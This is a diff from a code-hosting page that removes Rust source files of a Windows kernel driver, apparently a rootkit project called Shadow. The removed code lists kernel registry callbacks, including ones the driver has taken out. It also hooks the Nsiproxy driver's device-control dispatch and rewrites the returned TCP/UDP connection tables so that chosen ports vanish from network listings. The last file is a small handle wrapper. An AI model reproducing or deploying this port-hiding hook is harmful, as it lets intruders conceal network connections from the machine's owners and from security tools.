callbacks.push(CallbackInfoOutput {
|
|
||||||
index: i as u8,
|
|
||||||
address: addr as usize,
|
|
||||||
name,
|
|
||||||
..Default::default()
|
|
||||||
});
|
|
||||||
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Go to the next module in the list
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset ldr_data for next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(callbacks)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
/// List of callbacks currently removed.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `target_callback` - Pointer to the callback information input.
|
|
||||||
/// * `callback_info` - Pointer to the callback information output.
|
|
||||||
/// * `information` - Pointer to a variable to store information size.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
|
||||||
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>> {
|
|
||||||
let mut callbacks = Vec::new();
|
|
||||||
let callbacks_removed = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
|
||||||
let (mut ldr_data, module_count) = modules()?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
|
|
||||||
for (i, callback) in callbacks_removed.iter().enumerate() {
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let image_size = (*ldr_data).SizeOfImage;
|
|
||||||
let end_address = start_address as u64 + image_size as u64;
|
|
||||||
|
|
||||||
if callback.address > start_address as u64 && callback.address < end_address {
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Store the callback information
|
|
||||||
let mut name = [0u16; 256];
|
|
||||||
let length = core::cmp::min(buffer.len(), 255);
|
|
||||||
name[..length].copy_from_slice(&buffer[..length]);
|
|
||||||
|
|
||||||
callbacks.push(CallbackInfoOutput {
|
|
||||||
index: callback.index as u8,
|
|
||||||
address: callback.address as usize,
|
|
||||||
name,
|
|
||||||
..Default::default()
|
|
||||||
});
|
|
||||||
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Move to the next module
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset the module list pointer for the next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(callbacks)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,468 +0,0 @@
|
|||||||
use alloc::vec::Vec;
|
|
||||||
use core::{
|
|
||||||
ffi::c_void,
|
|
||||||
mem::size_of,
|
|
||||||
ptr::{copy, null_mut},
|
|
||||||
slice::from_raw_parts_mut,
|
|
||||||
sync::atomic::{AtomicBool, AtomicPtr, Ordering},
|
|
||||||
};
|
|
||||||
|
|
||||||
use spin::{Mutex, lazy::Lazy};
|
|
||||||
use wdk::println;
|
|
||||||
use wdk_sys::{
|
|
||||||
_MODE::KernelMode,
|
|
||||||
ntddk::{ExFreePool, ObfDereferenceObject},
|
|
||||||
*,
|
|
||||||
};
|
|
||||||
|
|
||||||
use common::{
|
|
||||||
enums::{PortType, Protocol},
|
|
||||||
structs::TargetPort,
|
|
||||||
};
|
|
||||||
use crate::{
|
|
||||||
Result,
|
|
||||||
data::*,
|
|
||||||
error::ShadowError,
|
|
||||||
utils::{
|
|
||||||
pool::PoolMemory,
|
|
||||||
uni::str_to_unicode,
|
|
||||||
*
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
// The maximum number of ports that can be hidden
|
|
||||||
const MAX_PORT: usize = 100;
|
|
||||||
|
|
||||||
/// Holds the original NSI dispatch function, used to store the original pointer before hooking.
|
|
||||||
static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut());
|
|
||||||
|
|
||||||
/// Indicates whether the callback has been activated.
|
|
||||||
pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false);
|
|
||||||
|
|
||||||
/// List of protected ports, synchronized with a mutex.
|
|
||||||
///
|
|
||||||
/// This static variable holds the list of protected network ports, using a `Mutex` to ensure
|
|
||||||
/// thread-safe access. It is initialized with a capacity of `MAX_PORT`.
|
|
||||||
pub static PROTECTED_PORTS: Lazy<Mutex<Vec<TargetPort>>> =
|
|
||||||
Lazy::new(|| Mutex::new(Vec::with_capacity(100)));
|
|
||||||
|
|
||||||
/// Represents a Network structure used for hooking into the NSI proxy driver
|
|
||||||
/// and intercepting network information.
|
|
||||||
pub struct Network;
|
|
||||||
|
|
||||||
impl Network {
|
|
||||||
/// Control code for the NSI communication.
|
|
||||||
const NIS_CONTROL_CODE: u32 = 1179675;
|
|
||||||
|
|
||||||
/// Network driver name.
|
|
||||||
const NSI_PROXY: &str = "\\Driver\\Nsiproxy";
|
|
||||||
|
|
||||||
/// Installs a hook into the NSI proxy driver to intercept network table operations.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(NTSTATUS)` - If the hook is installed successfully.
|
|
||||||
/// * `Err(ShadowError)` - If the hook installation fails or no valid dispatch function is found.
|
|
||||||
pub unsafe fn install_hook() -> Result<NTSTATUS> {
|
|
||||||
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
|
|
||||||
let status = ObReferenceObjectByName(
|
|
||||||
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
|
|
||||||
OBJ_CASE_INSENSITIVE,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
*IoDriverObjectType,
|
|
||||||
KernelMode as i8,
|
|
||||||
null_mut(),
|
|
||||||
&mut driver_object as *mut _ as *mut *mut c_void,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Check if the driver object was referenced successfully.
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Try to replace the original IRP_MJ_DEVICE_CONTROL dispatch function.
|
|
||||||
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
|
|
||||||
if let Some(original_function) = major_function.take() {
|
|
||||||
// Store the original dispatch function.
|
|
||||||
let original_function_ptr = original_function as *mut ();
|
|
||||||
ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst);
|
|
||||||
|
|
||||||
// Replace the dispatch function with the hook.
|
|
||||||
*major_function = Some(Self::hook_nsi);
|
|
||||||
HOOK_INSTALLED.store(true, Ordering::SeqCst);
|
|
||||||
} else {
|
|
||||||
ObfDereferenceObject(driver_object.cast());
|
|
||||||
return Err(ShadowError::HookFailure);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Dereference the driver object after setting up the hook.
|
|
||||||
ObfDereferenceObject(driver_object.cast());
|
|
||||||
Ok(STATUS_SUCCESS)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Uninstalls the NSI hook, restoring the original dispatch function.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(NTSTATUS)` - If the hook was successfully uninstalled.
|
|
||||||
/// * `Err(ShadowError)` - If the hook was not installed or if the uninstall operation failed.
|
|
||||||
pub unsafe fn uninstall_hook() -> Result<NTSTATUS> {
|
|
||||||
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
|
|
||||||
let status = ObReferenceObjectByName(
|
|
||||||
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
|
|
||||||
OBJ_CASE_INSENSITIVE,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
*IoDriverObjectType,
|
|
||||||
KernelMode as i8,
|
|
||||||
null_mut(),
|
|
||||||
&mut driver_object as *mut _ as *mut *mut c_void,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Handle error if the driver object can't be referenced.
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status));
|
|
||||||
}
|
|
||||||
|
|
||||||
// If the hook is installed, restore the original dispatch function.
|
|
||||||
if HOOK_INSTALLED.load(Ordering::SeqCst) {
|
|
||||||
let major_function =
|
|
||||||
&mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
|
|
||||||
|
|
||||||
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
|
|
||||||
if !original_function_ptr.is_null() {
|
|
||||||
let original_function = core::mem::transmute(original_function_ptr);
|
|
||||||
*major_function = original_function;
|
|
||||||
|
|
||||||
HOOK_INSTALLED.store(false, Ordering::SeqCst);
|
|
||||||
} else {
|
|
||||||
ObfDereferenceObject(driver_object.cast());
|
|
||||||
return Err(ShadowError::HookFailure);
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
ObfDereferenceObject(driver_object.cast());
|
|
||||||
return Err(ShadowError::HookFailure);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Dereference the driver object after removing the hook.
|
|
||||||
ObfDereferenceObject(driver_object.cast());
|
|
||||||
Ok(STATUS_SUCCESS)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries.
|
|
||||||
///
|
|
||||||
/// This function intercepts network requests (IRPs) sent to the NSI proxy driver when the control
|
|
||||||
/// code matches `NIS_CONTROL_CODE`. It replaces the completion routine with a custom handler
|
|
||||||
/// to inspect and potentially modify network entries.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `device_object` - Pointer to the device object associated with the request.
|
|
||||||
/// * `irp` - Pointer to the IRP (I/O Request Packet) being processed.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * The result of the original dispatch function, or `STATUS_UNSUCCESSFUL` if the hook fails.
|
|
||||||
unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
|
||||||
let stack = (*irp)
|
|
||||||
.Tail
|
|
||||||
.Overlay
|
|
||||||
.__bindgen_anon_2
|
|
||||||
.__bindgen_anon_1
|
|
||||||
.CurrentStackLocation;
|
|
||||||
|
|
||||||
// If the control code matches, we replace the completion routine with a custom one.
|
|
||||||
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
|
||||||
if control_code == Self::NIS_CONTROL_CODE {
|
|
||||||
let context = PoolMemory::new(
|
|
||||||
POOL_FLAG_NON_PAGED,
|
|
||||||
size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64,
|
|
||||||
"giud",
|
|
||||||
);
|
|
||||||
|
|
||||||
if let Some(addr) = context {
|
|
||||||
let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
|
|
||||||
(*address).0 = (*stack).CompletionRoutine;
|
|
||||||
(*address).1 = (*stack).Context;
|
|
||||||
|
|
||||||
(*stack).Context = address as *mut c_void;
|
|
||||||
(*stack).CompletionRoutine = Some(Self::irp_complete);
|
|
||||||
(*stack).Control |= SL_INVOKE_ON_SUCCESS as u8;
|
|
||||||
|
|
||||||
// Prevent memory deallocation.
|
|
||||||
core::mem::forget(addr);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Call the original dispatch function.
|
|
||||||
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
|
|
||||||
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
|
|
||||||
|
|
||||||
original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp))
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Completion routine that modifies network table entries after an NSI operation.
|
|
||||||
///
|
|
||||||
/// This function is called when the IRP operation completes, and it processes the network
|
|
||||||
/// table entries (TCP/UDP) to inspect or modify them. It then calls the original completion
|
|
||||||
/// routine, passing the results of the modified entries back to the caller.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `device_object` - Pointer to the device object associated with the IRP.
|
|
||||||
/// * `irp` - Pointer to the IRP being completed.
|
|
||||||
/// * `context` - Pointer to the context, containing the original completion routine and its arguments.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * Returns the result of the original completion routine, or `STATUS_SUCCESS` if processing was successful.
|
|
||||||
unsafe extern "C" fn irp_complete(
|
|
||||||
device_object: *mut DEVICE_OBJECT,
|
|
||||||
irp: *mut IRP,
|
|
||||||
context: *mut c_void,
|
|
||||||
) -> NTSTATUS {
|
|
||||||
let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
|
|
||||||
|
|
||||||
// Validate the status of the IRP.
|
|
||||||
if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) {
|
|
||||||
let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM;
|
|
||||||
let mut status_success = true;
|
|
||||||
|
|
||||||
// Ensure that the NSI parameter is valid and the context can be accessed.
|
|
||||||
if !valid_user_memory(nsi_param as u64) {
|
|
||||||
status_success = false;
|
|
||||||
} else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() {
|
|
||||||
status_success = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// If the entries are valid, process them.
|
|
||||||
if status_success && !(*nsi_param).Entries.is_null() && (*nsi_param).EntrySize != 0 {
|
|
||||||
let tcp_entries = (*nsi_param).Entries as *mut NSI_TABLE_TCP_ENTRY;
|
|
||||||
let udp_entries = (*nsi_param).Entries as *mut NSI_UDP_ENTRY;
|
|
||||||
|
|
||||||
// Loop through all entries in the NSI parameter.
|
|
||||||
for i in 0..(*nsi_param).Count {
|
|
||||||
match (*nsi_param).Type_ {
|
|
||||||
COMUNICATION_TYPE::TCP => {
|
|
||||||
if valid_user_memory((*tcp_entries.add(i)).Local.Port as u64)
|
|
||||||
|| valid_user_memory((*tcp_entries.add(i)).Remote.Port as u64)
|
|
||||||
{
|
|
||||||
// Convert the port numbers from big-endian to the host's native format.
|
|
||||||
let local_port = u16::from_be((*tcp_entries.add(i)).Local.Port);
|
|
||||||
let remote_port = u16::from_be((*tcp_entries.add(i)).Remote.Port);
|
|
||||||
|
|
||||||
// Process the TCP entry by copying it into the NSI table, updating ports if necessary.
|
|
||||||
NetworkUtils::process_entry_copy(
|
|
||||||
tcp_entries,
|
|
||||||
(*nsi_param).Count,
|
|
||||||
i,
|
|
||||||
local_port,
|
|
||||||
Some(remote_port),
|
|
||||||
Protocol::TCP,
|
|
||||||
(*nsi_param).StatusEntries,
|
|
||||||
(*nsi_param).ProcessEntries,
|
|
||||||
nsi_param,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
COMUNICATION_TYPE::UDP => {
|
|
||||||
// Check if the UDP local port is a valid user-mode memory address.
|
|
||||||
if valid_user_memory((*udp_entries.add(i)).Port as u64) {
|
|
||||||
// Convert the local port number from big-endian to the host's native format.
|
|
||||||
let local_port = u16::from_be((*udp_entries.add(i)).Port);
|
|
||||||
|
|
||||||
// Process the UDP entry by copying it into the NSI table, updating ports if necessary.
|
|
||||||
NetworkUtils::process_entry_copy(
|
|
||||||
udp_entries,
|
|
||||||
(*nsi_param).Count,
|
|
||||||
i,
|
|
||||||
local_port,
|
|
||||||
None,
|
|
||||||
Protocol::UDP,
|
|
||||||
(*nsi_param).StatusEntries,
|
|
||||||
(*nsi_param).ProcessEntries,
|
|
||||||
nsi_param,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Call the original completion routine if one exists.
|
|
||||||
if let Some(original_routine) = (*context_addr).0 {
|
|
||||||
let mut original_context = null_mut();
|
|
||||||
|
|
||||||
if !(*context_addr).1.is_null() {
|
|
||||||
original_context = (*context_addr).1;
|
|
||||||
}
|
|
||||||
|
|
||||||
ExFreePool(context.cast());
|
|
||||||
return original_routine(device_object, irp, original_context);
|
|
||||||
}
|
|
||||||
|
|
||||||
ExFreePool(context.cast());
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Utility struct for network-related operations, such as validating memory and handling NSI table entries.
|
|
||||||
pub struct NetworkUtils;
|
|
||||||
|
|
||||||
impl NetworkUtils {
|
|
||||||
/// Copies network table entries (TCP/UDP) from one index to another and updates associated status
|
|
||||||
/// and process entries if necessary.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `entries` - A pointer to the list of TCP or UDP entries. The type is generic (`T`), and the pointer must be safely dereferenced.
|
|
||||||
/// * `count` - The total number of entries in the table. Defines the size of the `entries` buffer.
|
|
||||||
/// * `i` - The index of the current entry being processed.
|
|
||||||
/// * `local_port` - The local port number associated with the current entry.
|
|
||||||
/// * `remote_port` - An `Option<u16>` that may contain the remote port number associated with the current entry, or `None`.
|
|
||||||
/// * `protocol` - The protocol type (TCP or UDP) being processed for this entry.
|
|
||||||
/// * `status_entries` - A pointer to the list of status entries related to the network connections.
|
|
||||||
/// * `process_entries` - A pointer to the list of process entries related to the network connections.
|
|
||||||
/// * `nsi_param` - A pointer to the `NSI_PARAM` structure, which contains information about the network table.
|
|
||||||
unsafe fn process_entry_copy<T: Sized>(
|
|
||||||
entries: *mut T,
|
|
||||||
count: usize,
|
|
||||||
i: usize,
|
|
||||||
local_port: u16,
|
|
||||||
remote_port: Option<u16>,
|
|
||||||
protocol: Protocol,
|
|
||||||
status_entries: *mut NSI_STATUS_ENTRY,
|
|
||||||
process_entries: *mut NSI_PROCESS_ENTRY,
|
|
||||||
nsi_param: *mut NSI_PARAM,
|
|
||||||
) {
|
|
||||||
let port_number = match (local_port, remote_port) {
|
|
||||||
// Use remote port if local is zero.
|
|
||||||
(0, Some(remote)) if remote != 0 => remote,
|
|
||||||
|
|
||||||
// Use local port if it's non-zero.
|
|
||||||
(local, _) if local != 0 => local,
|
|
||||||
_ => {
|
|
||||||
println!("Both doors are zero, there is no way to process the entrance.");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let port_type = if remote_port.unwrap_or(0) != 0 {
|
|
||||||
PortType::REMOTE
|
|
||||||
} else {
|
|
||||||
PortType::LOCAL
|
|
||||||
};
|
|
||||||
|
|
||||||
let info = TargetPort {
|
|
||||||
protocol,
|
|
||||||
port_type,
|
|
||||||
port_number,
|
|
||||||
enable: true,
|
|
||||||
};
|
|
||||||
|
|
||||||
// If the port is protected, modify the network entries.
|
|
||||||
if PROTECTED_PORTS.lock().contains(&info) {
|
|
||||||
let mut entries_index = i + 1;
|
|
||||||
if entries_index >= count {
|
|
||||||
entries_index = i - 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Copies TCP/UDP entries.
|
|
||||||
let entries_slice = from_raw_parts_mut(entries, count);
|
|
||||||
copy(
|
|
||||||
&entries_slice[entries_index],
|
|
||||||
&mut entries_slice[i],
|
|
||||||
count - entries_index,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Verify and copy status_entries.
|
|
||||||
if !status_entries.is_null() {
|
|
||||||
let status_entries_slice = from_raw_parts_mut(status_entries, count);
|
|
||||||
if entries_index < status_entries_slice.len() {
|
|
||||||
copy(
|
|
||||||
&status_entries_slice[entries_index],
|
|
||||||
&mut status_entries_slice[i],
|
|
||||||
count - entries_index,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check and copy process_entries.
|
|
||||||
if !process_entries.is_null() {
|
|
||||||
let process_entries_slice = from_raw_parts_mut(process_entries, count);
|
|
||||||
if entries_index < process_entries_slice.len() {
|
|
||||||
copy(
|
|
||||||
&process_entries_slice[entries_index],
|
|
||||||
&mut process_entries_slice[i],
|
|
||||||
count - entries_index,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Adds a port to the list of protected ports.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be added.
|
|
||||||
///
|
|
||||||
/// # Return
|
|
||||||
///
|
|
||||||
/// * Returns `STATUS_SUCCESS` if the port is successfully added to the list.
|
|
||||||
/// * Returns `STATUS_DUPLICATE_OBJECTID` if the port already exists in the list.
|
|
||||||
/// * Returns `STATUS_UNSUCCESSFUL` if the port list is full or the operation fails.
|
|
||||||
pub fn add_port(port: *mut TargetPort) -> NTSTATUS {
|
|
||||||
if port.is_null() {
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut ports = PROTECTED_PORTS.lock();
|
|
||||||
let port = unsafe { *port };
|
|
||||||
|
|
||||||
if ports.len() >= MAX_PORT {
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ports.contains(&port) {
|
|
||||||
return STATUS_DUPLICATE_OBJECTID;
|
|
||||||
}
|
|
||||||
|
|
||||||
ports.push(port);
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Removes a port from the list of protected ports.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be removed.
|
|
||||||
///
|
|
||||||
/// # Return
|
|
||||||
///
|
|
||||||
/// * Returns `STATUS_SUCCESS` if the port is successfully removed from the list
|
|
||||||
/// or `STATUS_UNSUCCESSFUL` if the port is not found in the list.
|
|
||||||
pub unsafe fn remove_port(port: *mut TargetPort) -> NTSTATUS {
|
|
||||||
if port.is_null() {
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut ports = PROTECTED_PORTS.lock();
|
|
||||||
(*port).enable = true;
|
|
||||||
|
|
||||||
if let Some(index) = ports.iter().position(|&p| {
|
|
||||||
p.protocol == (*port).protocol
|
|
||||||
&& p.port_type == (*port).port_type
|
|
||||||
&& p.port_number == (*port).port_number
|
|
||||||
}) {
|
|
||||||
ports.remove(index);
|
|
||||||
STATUS_SUCCESS
|
|
||||||
} else {
|
|
||||||
println!("Port {:?} not found in the list", port);
|
|
||||||
STATUS_UNSUCCESSFUL
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,52 +0,0 @@
|
|||||||
use wdk_sys::{HANDLE, ntddk::ZwClose};
|
|
||||||
|
|
||||||
/// A wrapper around a Windows `HANDLE` that automatically closes the handle when dropped.
|
|
||||||
///
|
|
||||||
/// This struct provides a safe abstraction over raw Windows handles, ensuring that the
|
|
||||||
/// handle is properly closed when it goes out of scope, by calling `ZwClose` in its `Drop`
|
|
||||||
/// implementation.
|
|
||||||
pub struct Handle(HANDLE);
|
|
||||||
|
|
||||||
impl Handle {
|
|
||||||
/// Creates a new `Handle` instance.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `handle` - A raw Windows `HANDLE` to wrap.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * Returns a new `Handle` instance that encapsulates the provided raw `HANDLE`.
|
|
||||||
#[inline]
|
|
||||||
pub fn new(handle: HANDLE) -> Self {
|
|
||||||
Handle(handle)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Returns the raw `HANDLE`.
|
|
||||||
///
|
|
||||||
/// This function provides access to the underlying Windows handle
|
|
||||||
/// stored in the `Handle` struct.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * Returns the raw Windows `HANDLE` encapsulated in the `Handle` struct.
|
|
||||||
#[inline]
|
|
||||||
pub fn get(&self) -> HANDLE {
|
|
||||||
self.0
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Drop for Handle {
|
|
||||||
/// Automatically closes the `HANDLE` when the `Handle` instance is dropped.
|
|
||||||
///
|
|
||||||
/// When the `Handle` goes out of scope, this method is called to ensure that
|
|
||||||
/// the underlying Windows handle is closed using the `ZwClose` function, unless
|
|
||||||
/// the handle is null.
|
|
||||||
fn drop(&mut self) {
|
|
||||||
if !self.0.is_null() {
|
|
||||||
unsafe {
|
|
||||||
ZwClose(self.0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user